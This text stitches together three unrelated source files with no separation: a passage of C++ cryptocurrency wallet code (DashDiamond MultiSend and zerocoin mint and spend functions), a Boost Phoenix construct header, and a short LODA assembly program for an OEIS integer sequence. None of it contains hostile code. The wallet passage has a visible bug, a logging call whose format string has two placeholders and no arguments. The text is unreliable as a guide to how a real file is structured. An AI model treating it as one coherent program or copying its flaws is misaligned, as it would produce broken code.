BOOST_FOREACH (const COutput& out, vCoins) { //need output with precise confirm count - this is how we identify which is the output to send if (out.tx->GetDepthInMainChain() != COINBASE_MATURITY + 1) continue; COutPoint outpoint(out.tx->GetHash(), out.i); bool sendMSonMNReward = fMultiSendMasternodeReward && outpoint.IsMasternodeReward(out.tx); bool sendMSOnStake = fMultiSendStake && out.tx->IsCoinStake() && !sendMSonMNReward; //output is either mnreward or stake reward, not both if (!(sendMSOnStake || sendMSonMNReward)) continue; CTxDestination destMyAddress; if (!ExtractDestination(out.tx->vout[out.i].scriptPubKey, destMyAddress)) { LogPrintf("Multisend: failed to extract destination\n"); continue; } //Disabled Addresses won't send MultiSend transactions if (vDisabledAddresses.size() > 0) { for (unsigned int i = 0; i < vDisabledAddresses.size(); i++) { if (vDisabledAddresses[i] == CBitcoinAddress(destMyAddress).ToString()) { LogPrintf("Multisend: disabled address preventing multisend\n"); return false; } } } // create new coin control, populate it with the selected utxo, create sending vector CCoinControl* cControl = new CCoinControl(); COutPoint outpt(out.tx->GetHash(), out.i); cControl->Select(outpt); cControl->destChange = destMyAddress; CWalletTx wtx; CReserveKey keyChange(this); // this change address does not end up being used, because change is returned with coin control switch CAmount nFeeRet = 0; vector<pair<CScript, CAmount> > vecSend; // loop through multisend vector and add amounts and addresses to the sending vector const isminefilter filter = ISMINE_SPENDABLE; CAmount nAmount = 0; for (unsigned int i = 0; i < vMultiSend.size(); i++) { // MultiSend vector is a pair of 1)Address as a std::string 2) Percent of stake to send as an int nAmount = ((out.tx->GetCredit(filter) - out.tx->GetDebit(filter)) * vMultiSend[i].second) / 100; CBitcoinAddress strAddSend(vMultiSend[i].first); CScript scriptPubKey; scriptPubKey = GetScriptForDestination(strAddSend.Get()); vecSend.push_back(make_pair(scriptPubKey, nAmount)); } //get the fee amount CWalletTx wtxdummy; string strErr; CreateTransaction(vecSend, wtxdummy, keyChange, nFeeRet, strErr, cControl, ALL_COINS, false, CAmount(0)); CAmount nLastSendAmount = vecSend[vecSend.size() - 1].second; if (nLastSendAmount < nFeeRet + 500) { LogPrintf("%s: fee of %s is too large to insert into last output\n"); return false; } vecSend[vecSend.size() - 1].second = nLastSendAmount - nFeeRet - 500; // Create the transaction and commit it to the network if (!CreateTransaction(vecSend, wtx, keyChange, nFeeRet, strErr, cControl, ALL_COINS, false, CAmount(0))) { LogPrintf("MultiSend createtransaction failed\n"); return false; } if (!CommitTransaction(wtx, keyChange)) { LogPrintf("MultiSend transaction commit failed\n"); return false; } else fMultiSendNotify = true; delete cControl; //write nLastMultiSendHeight to DB CWalletDB walletdb(strWalletFile); nLastMultiSendHeight = chainActive.Tip()->nHeight; if (!walletdb.WriteMSettings(fMultiSendStake, fMultiSendMasternodeReward, nLastMultiSendHeight)) LogPrintf("Failed to write MultiSend setting to DB\n"); LogPrintf("MultiSend successfully sent\n"); if (sendMSOnStake) stakeSent++; else mnSent++; //stop iterating if we are done if (mnSent > 0 && stakeSent > 0) return true; if (stakeSent > 0 && !fMultiSendMasternodeReward) return true; if (mnSent > 0 && !fMultiSendStake) return true; } return true; } CKeyPool::CKeyPool() { nTime = GetTime(); } CKeyPool::CKeyPool(const CPubKey& vchPubKeyIn) { nTime = GetTime(); vchPubKey = vchPubKeyIn; } CWalletKey::CWalletKey(int64_t nExpires) { nTimeCreated = (nExpires ? GetTime() : 0); nTimeExpires = nExpires; } int CMerkleTx::SetMerkleBranch(const CBlock& block) { AssertLockHeld(cs_main); CBlock blockTmp; // Update the tx's hashBlock hashBlock = block.GetHash(); // Locate the transaction for (nIndex = 0; nIndex < (int)block.vtx.size(); nIndex++) if (block.vtx[nIndex] == *(CTransaction*)this) break; if (nIndex == (int)block.vtx.size()) { vMerkleBranch.clear(); nIndex = -1; LogPrintf("ERROR: SetMerkleBranch() : couldn't find tx in block\n"); return 0; } // Fill in merkle branch vMerkleBranch = block.GetMerkleBranch(nIndex); // Is the tx in a block that's in the main chain BlockMap::iterator mi = mapBlockIndex.find(hashBlock); if (mi == mapBlockIndex.end()) return 0; const CBlockIndex* pindex = (*mi).second; if (!pindex || !chainActive.Contains(pindex)) return 0; return chainActive.Height() - pindex->nHeight + 1; } int CMerkleTx::GetDepthInMainChainINTERNAL(const CBlockIndex*& pindexRet) const { if (hashBlock == 0 || nIndex == -1) return 0; AssertLockHeld(cs_main); // Find the block it claims to be in BlockMap::iterator mi = mapBlockIndex.find(hashBlock); if (mi == mapBlockIndex.end()) return 0; CBlockIndex* pindex = (*mi).second; if (!pindex || !chainActive.Contains(pindex)) return 0; // Make sure the merkle branch connects to this block if (!fMerkleVerified) { if (CBlock::CheckMerkleBranch(GetHash(), vMerkleBranch, nIndex) != pindex->hashMerkleRoot) return 0; fMerkleVerified = true; } pindexRet = pindex; return chainActive.Height() - pindex->nHeight + 1; } int CMerkleTx::GetDepthInMainChain(const CBlockIndex*& pindexRet, bool enableIX) const { AssertLockHeld(cs_main); int nResult = GetDepthInMainChainINTERNAL(pindexRet); if (nResult == 0 && !mempool.exists(GetHash())) return -1; // Not in chain, not in mempool if (enableIX) { if (nResult < 6) { int signatures = GetTransactionLockSignatures(); if (signatures >= SWIFTTX_SIGNATURES_REQUIRED) { return nSwiftTXDepth + nResult; } } } return nResult; } int CMerkleTx::GetBlocksToMaturity() const { if (!(IsCoinBase() || IsCoinStake())) return 0; return max(0, (Params().COINBASE_MATURITY() + 1) - GetDepthInMainChain()); } bool CMerkleTx::AcceptToMemoryPool(bool fLimitFree, bool fRejectInsaneFee, bool ignoreFees) { CValidationState state; bool fAccepted = ::AcceptToMemoryPool(mempool, state, *this, fLimitFree, NULL, fRejectInsaneFee, ignoreFees); if (!fAccepted) LogPrintf("%s : %s\n", __func__, state.GetRejectReason()); return fAccepted; } int CMerkleTx::GetTransactionLockSignatures() const { if (fLargeWorkForkFound || fLargeWorkInvalidChainFound) return -2; if (!IsSporkActive(SPORK_2_SWIFTTX)) return -3; if (!fEnableSwiftTX) return -1; //compile consessus vote std::map<uint256, CTransactionLock>::iterator i = mapTxLocks.find(GetHash()); if (i != mapTxLocks.end()) { return (*i).second.CountSignatures(); } return -1; } bool CMerkleTx::IsTransactionLockTimedOut() const { if (!fEnableSwiftTX) return 0; //compile consessus vote std::map<uint256, CTransactionLock>::iterator i = mapTxLocks.find(GetHash()); if (i != mapTxLocks.end()) { return GetTime() > (*i).second.nTimeout; } return false; } bool CWallet::CreateZerocoinMintTransaction(const CAmount nValue, CMutableTransaction& txNew, vector<CZerocoinMint>& vMints, CReserveKey* reservekey, int64_t& nFeeRet, std::string& strFailReason, const CCoinControl* coinControl, const bool isZCSpendChange) { if (IsLocked()) { strFailReason = _("Error: Wallet locked, unable to create transaction!"); LogPrintf("SpendZerocoin() : %s", strFailReason.c_str()); return false; } //add multiple mints that will fit the amount requested as closely as possible CAmount nMintingValue = 0; CAmount nValueRemaining = 0; while (true) { //mint a coin with the closest denomination to what is being requested nFeeRet = max(static_cast<int>(txNew.vout.size()), 1) * Params().Zerocoin_MintFee(); nValueRemaining = nValue - nMintingValue - (isZCSpendChange ? nFeeRet : 0); // if this is change of a zerocoinspend, then we can't mint all change, at least something must be given as a fee if (isZCSpendChange && nValueRemaining <= 1 * COIN) break; libzerocoin::CoinDenomination denomination = libzerocoin::AmountToClosestDenomination(nValueRemaining, nValueRemaining); if (denomination == libzerocoin::ZQ_ERROR) break; CAmount nValueNewMint = libzerocoin::ZerocoinDenominationToAmount(denomination); nMintingValue += nValueNewMint; // mint a new coin (create Pedersen Commitment) and extract PublicCoin that is shareable from it libzerocoin::PrivateCoin newCoin(Params().Zerocoin_Params(), denomination); libzerocoin::PublicCoin pubCoin = newCoin.getPublicCoin(); // Validate if(!pubCoin.validate()) { strFailReason = _("failed to validate zerocoin"); return false; } CScript scriptSerializedCoin = CScript() << OP_ZEROCOINMINT << pubCoin.getValue().getvch().size() << pubCoin.getValue().getvch(); CTxOut outMint(nValueNewMint, scriptSerializedCoin); txNew.vout.push_back(outMint); //store as CZerocoinMint for later use CZerocoinMint mint(denomination, pubCoin.getValue(), newCoin.getRandomness(), newCoin.getSerialNumber(), false); vMints.push_back(mint); } // calculate fee CAmount nFee = Params().Zerocoin_MintFee() * txNew.vout.size(); // no ability to select more coins if this is a ZCSpend change mint CAmount nTotalValue = (isZCSpendChange ? nValue : (nValue + nFee)); // check for a zerocoinspend that mints the change CAmount nValueIn = 0; set<pair<const CWalletTx*, unsigned int> > setCoins; if (isZCSpendChange) { nValueIn = nValue; } else { // select UTXO's to use if (!SelectCoins(nTotalValue, setCoins, nValueIn, coinControl)) { strFailReason = _("Insufficient or insufficient confirmed funds, you might need to wait a few minutes and try again."); return false; } // Fill vin for (const std::pair<const CWalletTx*, unsigned int>& coin : setCoins) txNew.vin.push_back(CTxIn(coin.first->GetHash(), coin.second)); } //any change that is less than 0.0100000 will be ignored and given as an extra fee //also assume that a zerocoinspend that is minting the change will not have any change that goes to DASHDIAMOND CAmount nChange = nValueIn - nTotalValue; // Fee already accounted for in nTotalValue if (nChange > 1 * CENT && !isZCSpendChange) { // Fill a vout to ourself CScript scriptChange; // if coin control: send change to custom address if (coinControl && !boost::get<CNoDestination>(&coinControl->destChange)) scriptChange = GetScriptForDestination(coinControl->destChange); else { // Reserve a new key pair from key pool CPubKey vchPubKey; assert(reservekey->GetReservedKey(vchPubKey)); // should never fail, as we just unlocked scriptChange = GetScriptForDestination(vchPubKey.GetID()); } //add to the transaction CTxOut outChange(nChange, scriptChange); txNew.vout.push_back(outChange); } else { if (reservekey) reservekey->ReturnKey(); } // Sign if these are dashdiamond outputs - NOTE that zDASHD outputs are signed later in SoK if (!isZCSpendChange) { int nIn = 0; for (const std::pair<const CWalletTx*, unsigned int>& coin : setCoins) { if (!SignSignature(*this, *coin.first, txNew, nIn++)) { strFailReason = _("Signing transaction failed"); return false; } } } return true; } bool CWallet::MintToTxIn(CZerocoinMint zerocoinSelected, int nSecurityLevel, const uint256& hashTxOut, CTxIn& newTxIn, CZerocoinSpendReceipt& receipt) { // Default error status if not changed below receipt.SetStatus("Transaction Mint Started", ZDASHDIAMOND_TXMINT_GENERAL); libzerocoin::CoinDenomination denomination = zerocoinSelected.GetDenomination(); // 2. Get pubcoin from the private coin libzerocoin::PublicCoin pubCoinSelected(Params().Zerocoin_Params(), zerocoinSelected.GetValue(), denomination); LogPrintf("%s : pubCoinSelected:\n denom=%d\n value%s\n", __func__, denomination, pubCoinSelected.getValue().GetHex()); if (!pubCoinSelected.validate()) { receipt.SetStatus("the selected mint coin is an invalid coin", ZDASHDIAMOND_INVALID_COIN); return false; } // 3. Compute Accumulator and Witness libzerocoin::Accumulator accumulator(Params().Zerocoin_Params(), pubCoinSelected.getDenomination()); libzerocoin::AccumulatorWitness witness(Params().Zerocoin_Params(), accumulator, pubCoinSelected); string strFailReason = ""; int nMintsAdded = 0; if (!GenerateAccumulatorWitness(pubCoinSelected, accumulator, witness, nSecurityLevel, nMintsAdded, strFailReason)) { receipt.SetStatus("Try to spend with a higher security level to include more coins", ZDASHDIAMOND_FAILED_ACCUMULATOR_INITIALIZATION); LogPrintf("%s : %s \n", __func__, receipt.GetStatusMessage()); return false; } // Construct the CoinSpend object. This acts like a signature on the transaction. libzerocoin::PrivateCoin privateCoin(Params().Zerocoin_Params(), denomination); privateCoin.setPublicCoin(pubCoinSelected); privateCoin.setRandomness(zerocoinSelected.GetRandomness()); privateCoin.setSerialNumber(zerocoinSelected.GetSerialNumber()); uint32_t nChecksum = GetChecksum(accumulator.getValue()); try { libzerocoin::CoinSpend spend(Params().Zerocoin_Params(), privateCoin, accumulator, nChecksum, witness, hashTxOut); if (!spend.Verify(accumulator)) { receipt.SetStatus("the new spend coin transaction did not verify", ZDASHDIAMOND_INVALID_WITNESS); return false; } // Deserialize the CoinSpend intro a fresh object CDataStream serializedCoinSpend(SER_NETWORK, PROTOCOL_VERSION); serializedCoinSpend << spend; std::vector<unsigned char> data(serializedCoinSpend.begin(), serializedCoinSpend.end()); //Add the coin spend into a DashDiamond transaction newTxIn.scriptSig = CScript() << OP_ZEROCOINSPEND << data.size(); newTxIn.scriptSig.insert(newTxIn.scriptSig.end(), data.begin(), data.end()); newTxIn.prevout.SetNull(); //use nSequence as a shorthand lookup of denomination //NOTE that this should never be used in place of checking the value in the final blockchain acceptance/verification //of the transaction newTxIn.nSequence = denomination; CDataStream serializedCoinSpendChecking(SER_NETWORK, PROTOCOL_VERSION); try { serializedCoinSpendChecking << spend; } catch (...) { receipt.SetStatus("failed to deserialize", ZDASHDIAMOND_BAD_SERIALIZATION); return false; } libzerocoin::CoinSpend newSpendChecking(Params().Zerocoin_Params(), serializedCoinSpendChecking); if (!newSpendChecking.Verify(accumulator)) { receipt.SetStatus("the transaction did not verify", ZDASHDIAMOND_BAD_SERIALIZATION); return false; } std::list<CBigNum> listCoinSpendSerial = CWalletDB(strWalletFile).ListSpentCoinsSerial(); for (const CBigNum& item : listCoinSpendSerial) { if (spend.getCoinSerialNumber() == item) { //Tried to spend an already spent zDASHD zerocoinSelected.SetUsed(true); if (!CWalletDB(strWalletFile).WriteZerocoinMint(zerocoinSelected)) LogPrintf("%s failed to write zerocoinmint\n", __func__); pwalletMain->NotifyZerocoinChanged(pwalletMain, zerocoinSelected.GetValue().GetHex(), "Used", CT_UPDATED); receipt.SetStatus("the coin spend has been used", ZDASHDIAMOND_SPENT_USED_ZDASHDIAMOND); return false; } } uint32_t nAccumulatorChecksum = GetChecksum(accumulator.getValue()); CZerocoinSpend zcSpend(spend.getCoinSerialNumber(), 0, zerocoinSelected.GetValue(), zerocoinSelected.GetDenomination(), nAccumulatorChecksum); zcSpend.SetMintCount(nMintsAdded); receipt.AddSpend(zcSpend); } catch (const std::exception&) { receipt.SetStatus("CoinSpend: Accumulator witness does not verify", ZDASHDIAMOND_INVALID_WITNESS); return false; } receipt.SetStatus("Spend Valid", ZDASHDIAMOND_SPEND_OKAY); // Everything okay return true; } bool CWallet::CreateZerocoinSpendTransaction(CAmount nValue, int nSecurityLevel, CWalletTx& wtxNew, CReserveKey& reserveKey, CZerocoinSpendReceipt& receipt, vector<CZerocoinMint>& vSelectedMints, vector<CZerocoinMint>& vNewMints, bool fMintChange, bool fMinimizeChange, CBitcoinAddress* address) { // Check available funds int nStatus = ZDASHDIAMOND_TRX_FUNDS_PROBLEMS; if (nValue > GetZerocoinBalance(true)) { receipt.SetStatus("You don't have enough Zerocoins in your wallet", nStatus); return false; } if (nValue < 1) { receipt.SetStatus("Value is below the the smallest available denomination (= 1) of zDASHD", nStatus); return false; } // Create transaction nStatus = ZDASHDIAMOND_TRX_CREATE; // If not already given pre-selected mints, then select mints from the wallet CWalletDB walletdb(pwalletMain->strWalletFile); list<CZerocoinMint> listMints; CAmount nValueSelected = 0; int nCoinsReturned = 0; // Number of coins returned in change from function below (for debug) int nNeededSpends = 0; // Number of spends which would be needed if selection failed const int nMaxSpends = Params().Zerocoin_MaxSpendsPerTransaction(); // Maximum possible spends for one zDASHD transaction if (vSelectedMints.empty()) { listMints = walletdb.ListMintedCoins(true, true, true); // need to find mints to spend if(listMints.empty()) { receipt.SetStatus("failed to find Zerocoins in in wallet.dat", nStatus); return false; } // If the input value is not an int, then we want the selection algorithm to round up to the next highest int double dValue = static_cast<double>(nValue) / static_cast<double>(COIN); bool fWholeNumber = floor(dValue) == dValue; CAmount nValueToSelect = nValue; if(!fWholeNumber) nValueToSelect = static_cast<CAmount>(ceil(dValue) * COIN); // Select the zDASHD mints to use in this spend std::map<libzerocoin::CoinDenomination, CAmount> DenomMap = GetMyZerocoinDistribution(); vSelectedMints = SelectMintsFromList(nValueToSelect, nValueSelected, nMaxSpends, fMinimizeChange, nCoinsReturned, listMints, DenomMap, nNeededSpends); } else { for (const CZerocoinMint mint : vSelectedMints) nValueSelected += ZerocoinDenominationToAmount(mint.GetDenomination()); } listSpends(vSelectedMints); int nArchived = 0; for (CZerocoinMint mint : vSelectedMints) { // see if this serial has already been spent if (IsSerialKnown(mint.GetSerialNumber())) { receipt.SetStatus("trying to spend an already spent serial #, try again.", nStatus); mint.SetUsed(true); walletdb.WriteZerocoinMint(mint); return false; } //check that this mint made it into the blockchain CTransaction txMint; uint256 hashBlock; bool fArchive = false; if (!GetTransaction(mint.GetTxHash(), txMint, hashBlock)) { receipt.SetStatus("unable to find transaction containing mint", nStatus); fArchive = true; } else if (mapBlockIndex.count(hashBlock) < 1) { receipt.SetStatus("mint did not make it into blockchain", nStatus); fArchive = true; } // archive this mint as an orphan if (fArchive) { walletdb.ArchiveMintOrphan(mint); nArchived++; } } if (nArchived) return false; if (vSelectedMints.empty()) { if(nNeededSpends > 0){ // Too much spends needed, so abuse nStatus to report back the number of needed spends receipt.SetStatus("Too much spends needed", nStatus, nNeededSpends); } else { receipt.SetStatus("failed to select a zerocoin", nStatus); } return false; } if ((static_cast<int>(vSelectedMints.size()) > Params().Zerocoin_MaxSpendsPerTransaction())) { receipt.SetStatus("Failed to find coin set amongst held coins with less than maxNumber of Spends", nStatus); return false; } // Create change if needed nStatus = ZDASHDIAMOND_TRX_CHANGE; CMutableTransaction txNew; wtxNew.BindWallet(this); { LOCK2(cs_main, cs_wallet); { txNew.vin.clear(); txNew.vout.clear(); //if there is an address to send to then use it, if not generate a new address to send to CScript scriptZerocoinSpend; CScript scriptChange; CAmount nChange = nValueSelected - nValue; if (nChange && !address) { receipt.SetStatus("Need address because change is not exact", nStatus); return false; } else if (address) { scriptZerocoinSpend = GetScriptForDestination(address->Get()); if (nChange) { // Reserve a new key pair from key pool CPubKey vchPubKey; assert(reserveKey.GetReservedKey(vchPubKey)); // should never fail scriptChange = GetScriptForDestination(vchPubKey.GetID()); } } else { // Reserve a new key pair from key pool CPubKey vchPubKey; assert(reserveKey.GetReservedKey(vchPubKey)); // should never fail scriptZerocoinSpend = GetScriptForDestination(vchPubKey.GetID()); } //add change output if we are spending too much (only applies to spending multiple at once) if (nChange) { //mint change as zerocoins if (fMintChange) { CAmount nFeeRet = 0; string strFailReason = ""; if (!CreateZerocoinMintTransaction(nChange, txNew, vNewMints, &reserveKey, nFeeRet, strFailReason, NULL, true)) { receipt.SetStatus("Failed to create mint", nStatus); return false; } } else { CTxOut txOutChange(nValueSelected - nValue, scriptChange); txNew.vout.push_back(txOutChange); } } //add output to dashdiamond address to the transaction (the actual primary spend taking place) CTxOut txOutZerocoinSpend(nValue, scriptZerocoinSpend); txNew.vout.push_back(txOutZerocoinSpend); //hash with only the output info in it to be used in Signature of Knowledge uint256 hashTxOut = txNew.GetHash(); //add all of the mints to the transaction as inputs for (CZerocoinMint mint : vSelectedMints) { CTxIn newTxIn; if (!MintToTxIn(mint, nSecurityLevel, hashTxOut, newTxIn, receipt)) { return false; } txNew.vin.push_back(newTxIn); } //now that all inputs have been added, add full tx hash to zerocoinspend records and write to db uint256 txHash = txNew.GetHash(); for (CZerocoinSpend spend : receipt.GetSpends()) { spend.SetTxHash(txHash); if (!CWalletDB(strWalletFile).WriteZerocoinSpendSerialEntry(spend)) { receipt.SetStatus("failed to write coin serial number into wallet", nStatus); } } //turn the finalized transaction into a wallet transaction wtxNew = CWalletTx(this, txNew); wtxNew.fFromMe = true; wtxNew.fTimeReceivedIsTxTime = true; wtxNew.nTimeReceived = GetAdjustedTime(); } } receipt.SetStatus("Transaction Created", ZDASHDIAMOND_SPEND_OKAY); // Everything okay return true; } string CWallet::ResetMintZerocoin(bool fExtendedSearch) { long updates = 0; long deletions = 0; CWalletDB walletdb(pwalletMain->strWalletFile); list<CZerocoinMint> listMints = walletdb.ListMintedCoins(false, false, true); vector<CZerocoinMint> vMintsToFind{ std::make_move_iterator(std::begin(listMints)), std::make_move_iterator(std::end(listMints)) }; vector<CZerocoinMint> vMintsMissing; vector<CZerocoinMint> vMintsToUpdate; // search all of our available data for these mints FindMints(vMintsToFind, vMintsToUpdate, vMintsMissing, fExtendedSearch); // Update the meta data of mints that were marked for updating for (CZerocoinMint mint : vMintsToUpdate) { updates++; walletdb.WriteZerocoinMint(mint); } // Delete any mints that were unable to be located on the blockchain for (CZerocoinMint mint : vMintsMissing) { deletions++; walletdb.ArchiveMintOrphan(mint); } string strResult = _("ResetMintZerocoin finished: ") + to_string(updates) + _(" mints updated, ") + to_string(deletions) + _(" mints deleted\n"); return strResult; } string CWallet::ResetSpentZerocoin() { long removed = 0; CWalletDB walletdb(pwalletMain->strWalletFile); list<CZerocoinMint> listMints = walletdb.ListMintedCoins(false, false, false); list<CZerocoinSpend> listSpends = walletdb.ListSpentCoins(); list<CZerocoinSpend> listUnconfirmedSpends; for (CZerocoinSpend spend : listSpends) { CTransaction tx; uint256 hashBlock = 0; if (!GetTransaction(spend.GetTxHash(), tx, hashBlock)) { listUnconfirmedSpends.push_back(spend); continue; } //no confirmations if (hashBlock == 0) listUnconfirmedSpends.push_back(spend); } for (CZerocoinSpend spend : listUnconfirmedSpends) { for (CZerocoinMint mint : listMints) { if (mint.GetSerialNumber() == spend.GetSerial()) { removed++; mint.SetUsed(false); RemoveSerialFromDB(spend.GetSerial()); walletdb.WriteZerocoinMint(mint); walletdb.EraseZerocoinSpendSerialEntry(spend.GetSerial()); continue; } } } string strResult = _("ResetSpentZerocoin finished: ") + to_string(removed) + _(" unconfirmed transactions removed\n"); return strResult; } void CWallet::ReconsiderZerocoins(std::list<CZerocoinMint>& listMintsRestored) { CWalletDB walletdb(pwalletMain->strWalletFile); list<CZerocoinMint> listMints = walletdb.ListArchivedZerocoins(); if (listMints.empty()) return; for (CZerocoinMint mint : listMints) { if (IsSerialKnown(mint.GetSerialNumber())) continue; uint256 txHash; if (!GetZerocoinMint(mint.GetValue(), txHash)) continue; uint256 hashBlock = 0; CTransaction tx; if (!GetTransaction(txHash, tx, hashBlock)) continue; mint.SetTxHash(txHash); mint.SetHeight(mapBlockIndex.at(hashBlock)->nHeight); if (!walletdb.UnarchiveZerocoin(mint)) { LogPrintf("%s : failed to unarchive mint %s\n", __func__, mint.GetValue().GetHex()); } listMintsRestored.emplace_back(mint); } } void CWallet::ZDashDiamondBackupWallet() { filesystem::path backupDir = GetDataDir() / "backups"; filesystem::path backupPath; string strNewBackupName; for (int i = 0; i < 10; i++) { strNewBackupName = strprintf("wallet-autozdashdiamondbackup-%d.dat", i); backupPath = backupDir / strNewBackupName; if (filesystem::exists(backupPath)) { //Keep up to 10 backups if (i <= 8) { //If the next file backup exists and is newer, then iterate filesystem::path nextBackupPath = backupDir / strprintf("wallet-autozdashdiamondbackup-%d.dat", i + 1); if (filesystem::exists(nextBackupPath)) { time_t timeThis = filesystem::last_write_time(backupPath); time_t timeNext = filesystem::last_write_time(nextBackupPath); if (timeThis > timeNext) { //The next backup is created before this backup was //The next backup is the correct path to use backupPath = nextBackupPath; break; } } //Iterate to the next filename/number continue; } //reset to 0 because name with 9 already used strNewBackupName = strprintf("wallet-autozdashdiamondbackup-%d.dat", 0); backupPath = backupDir / strNewBackupName; break; } //This filename is fresh, break here and backup break; } BackupWallet(*this, backupPath.string()); } string CWallet::MintZerocoin(CAmount nValue, CWalletTx& wtxNew, vector<CZerocoinMint>& vMints, const CCoinControl* coinControl) { // Check amount if (nValue <= 0) return _("Invalid amount"); if (nValue + Params().Zerocoin_MintFee() > GetBalance()) return _("Insufficient funds"); CReserveKey reservekey(this); int64_t nFeeRequired; if (IsLocked()) { string strError = _("Error: Wallet locked, unable to create transaction!"); printf("MintZerocoin() : %s", strError.c_str()); return strError; } string strError; CMutableTransaction txNew; if (!CreateZerocoinMintTransaction(nValue, txNew, vMints, &reservekey, nFeeRequired, strError, coinControl)) { if (nValue + nFeeRequired > GetBalance()) return strprintf(_("Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds!"), FormatMoney(nFeeRequired).c_str()); return strError; } wtxNew = CWalletTx(this, txNew); wtxNew.fFromMe = true; wtxNew.fTimeReceivedIsTxTime = true; //commit the transaction to the network if (!CommitTransaction(wtxNew, reservekey)) { return _("Error: The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here."); } else { //update mints with full transaction hash and then database them CWalletDB walletdb(pwalletMain->strWalletFile); for (CZerocoinMint mint : vMints) { mint.SetTxHash(wtxNew.GetHash()); walletdb.WriteZerocoinMint(mint); pwalletMain->NotifyZerocoinChanged(pwalletMain, mint.GetValue().GetHex(), "Used", CT_UPDATED); } } //Create a backup of the wallet if (fBackupMints) ZDashDiamondBackupWallet(); return ""; } bool CWallet::SpendZerocoin(CAmount nAmount, int nSecurityLevel, CWalletTx& wtxNew, CZerocoinSpendReceipt& receipt, vector<CZerocoinMint>& vMintsSelected, bool fMintChange, bool fMinimizeChange, CBitcoinAddress* addressTo) { // Default: assume something goes wrong. Depending on the problem this gets more specific below int nStatus = ZDASHDIAMOND_SPEND_ERROR; if (IsLocked()) { receipt.SetStatus("Error: Wallet locked, unable to create transaction!", ZDASHDIAMOND_WALLET_LOCKED); return false; } CReserveKey reserveKey(this); vector<CZerocoinMint> vNewMints; if (!CreateZerocoinSpendTransaction(nAmount, nSecurityLevel, wtxNew, reserveKey, receipt, vMintsSelected, vNewMints, fMintChange, fMinimizeChange, addressTo)) { return false; } if (fMintChange && fBackupMints) ZDashDiamondBackupWallet(); CWalletDB walletdb(pwalletMain->strWalletFile); if (!CommitTransaction(wtxNew, reserveKey)) { LogPrintf("%s: failed to commit\n", __func__); nStatus = ZDASHDIAMOND_COMMIT_FAILED; //reset all mints for (CZerocoinMint mint : vMintsSelected) { mint.SetUsed(false); // having error, so set to false, to be able to use again walletdb.WriteZerocoinMint(mint); pwalletMain->NotifyZerocoinChanged(pwalletMain, mint.GetValue().GetHex(), "New", CT_UPDATED); } //erase spends for (CZerocoinSpend spend : receipt.GetSpends()) { if (!walletdb.EraseZerocoinSpendSerialEntry(spend.GetSerial())) { receipt.SetStatus("Error: It cannot delete coin serial number in wallet", ZDASHDIAMOND_ERASE_SPENDS_FAILED); } //Remove from public zerocoinDB RemoveSerialFromDB(spend.GetSerial()); } // erase new mints for (auto& mint : vNewMints) { if (!walletdb.EraseZerocoinMint(mint)) { receipt.SetStatus("Error: Unable to cannot delete zerocoin mint in wallet", ZDASHDIAMOND_ERASE_NEW_MINTS_FAILED); } } receipt.SetStatus("Error: The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.", nStatus); return false; } for (CZerocoinMint mint : vMintsSelected) { mint.SetUsed(true); if (!walletdb.WriteZerocoinMint(mint)) { receipt.SetStatus("Failed to write mint to db", nStatus); return false; } CZerocoinMint mintCheck; if (!walletdb.ReadZerocoinMint(mint.GetValue(), mintCheck)) { receipt.SetStatus("failed to read mintcheck", nStatus); return false; } if (!mintCheck.IsUsed()) { receipt.SetStatus("Error, the mint did not get marked as used", nStatus); return false; } } // write new Mints to db for (CZerocoinMint mint : vNewMints) { mint.SetTxHash(wtxNew.GetHash()); walletdb.WriteZerocoinMint(mint); } receipt.SetStatus("Spend Successful", ZDASHDIAMOND_SPEND_OKAY); // When we reach this point spending zDASHD was successful return true; }
/*============================================================================== Copyright (c) 2001-2010 Joel de Guzman Copyright (c) 2010 Thomas Heller Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) ==============================================================================*/ #ifndef BOOST_PHOENIX_OBJECT_CONSTRUCT_HPP #define BOOST_PHOENIX_OBJECT_CONSTRUCT_HPP #include <boost/phoenix/core/limits.hpp> #include <boost/phoenix/core/call.hpp> #include <boost/phoenix/core/expression.hpp> #include <boost/phoenix/core/meta_grammar.hpp> #include <boost/phoenix/object/detail/target.hpp> #include <boost/phoenix/support/iterate.hpp> #include <boost/preprocessor/repetition/repeat_from_to.hpp> #ifdef BOOST_PHOENIX_NO_VARIADIC_EXPRESSION # include <boost/phoenix/object/detail/cpp03/construct_expr.hpp> #else BOOST_PHOENIX_DEFINE_EXPRESSION_VARARG( (boost)(phoenix)(construct) , (proto::terminal<detail::target<proto::_> >) (meta_grammar) , _ ) #endif namespace boost { namespace phoenix { struct construct_eval { template <typename Sig> struct result; #if defined(BOOST_PHOENIX_NO_VARIADIC_OBJECT) template <typename This, typename A0, typename Context> struct result<This(A0, Context)> : detail::result_of::target<A0> { }; template <typename Target, typename Context> typename detail::result_of::target<Target>::type operator()(Target, Context const &) const { return typename detail::result_of::target<Target>::type(); } // Bring in the rest #include <boost/phoenix/object/detail/cpp03/construct_eval.hpp> #else // TODO: #endif }; template <typename Dummy> struct default_actions::when<rule::construct, Dummy> : call<construct_eval, Dummy> {}; #if defined(BOOST_PHOENIX_NO_VARIADIC_OBJECT) template <typename T> inline typename expression::construct<detail::target<T> >::type const construct() { return expression:: construct<detail::target<T> >:: make(detail::target<T>()); } // Bring in the rest #include <boost/phoenix/object/detail/cpp03/construct.hpp> #else // TODO: #endif }} #endif
; A244149: a(n) = 2*(n*Denominator(((n-1)*(n^2)+2^(n+1)-4)/(2*n))-n)/n+1. ; Submitted by Jon Maiga ; 1,1,1,3,1,5,1,7,5,9,1,11,1,13,9,15,1,17,1,19,13,21,1,23,9,25,17,3,1,29,1,31,21,33,69,35,1,37,25,39,1,41,1,43,5,45,1,47,13,49,33,51,1,53,109,55,37,57,1,59,1,61,41,63,25,65,1,67,45,9,1,71,1,73,49,75,153,77,1,79 mov $1,$0 seq $1,214606 ; a(n) = gcd(n, 2^n - 2). div $0,$1 mul $0,2 add $0,1
